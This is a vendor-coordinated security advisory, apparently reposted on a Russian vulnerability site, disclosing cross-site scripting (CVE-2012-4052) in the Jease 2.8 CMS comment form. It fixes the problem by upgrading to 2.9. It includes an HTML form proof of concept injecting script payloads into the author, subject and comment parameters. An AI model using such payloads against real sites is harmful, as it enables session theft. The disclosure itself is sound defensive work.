Информационная безопасность
[RU] switch to English


Дополнительная информация

  Cводка уязвимостей безопасности в Web-приложениях (PHP, ASP, JSP, CGI, Perl)

  TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer

  CodeIgniter <= 2.1.1 xss_clean() Cross Site Scripting filter bypass

  Wordpress (chenpress Plugin) Arbitrary File Upload Vulnerability

  tekno.Portal 0.1b - SQLi Vulnerability in "anket.
php"

From:High-Tech Bridge Security Research <advisory_(at)_htbridge.com>
Date:3 сентября 2012 г.
Subject:Cross-Site Scripting (XSS) in Jease



Advisory ID: HTB23104
Product: Jease
Vendor: jease.org
Vulnerable Version(s): 2.8 and probably prior
Tested Version: 2.8
Vendor Notification: July 25, 2012
Public Disclosure: August 15, 2012
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2012-4052
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Risk Level: Medium
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

---------------------------------------------------------------------------------
--------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in Jease, which can be exploited to perform Cross-Site Scripting (XSS) attacks.


1) Cross-Site Scripting (XSS) in Jease: CVE-2012-4052

Input passed via the "author", "subject" and "comment" POST parameters when creating a new comment is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:


<form action="http://[host]:8080/blog/" method="post" name="main" id="main">
<input type="hidden" name="author-467844289" value='"><script>alert(document.
cookie);</script>'>
<input type="hidden" name="subject-467844289" value='"><script>alert(document.
cookie);</script>'>
<input type="hidden" name="comment-467844289" value='"></textarea><script>alert(document.
cookie);</script>'>
<input type="submit" name="Submit" value="Send">
</form>


---------------------------------------------------------------------------------
--------------

Solution:

Upgrade to Jease 2.9

More Information:
http://www.jease.org/download/2.9/
https://groups.google.com/forum/?fromgroups#!topic/jease/2BHaDww-5ac

---------------------------------------------------------------------------------
--------------

References:

[1] High-Tech Bridge Advisory HTB23104 - https://www.htbridge.com/advisory/HTB23104 - Cross-Site Scripting (XSS) in Jease.
[2] Jease - http://jease.org/ - Jease is an Open Source Content-Management-System which is driven by the power of Java.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

---------------------------------------------------------------------------------
--------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.

О сайте | Условия использования
© SecurityVulns, 3APA3A, Владимир Дубровин
Нижний Новгород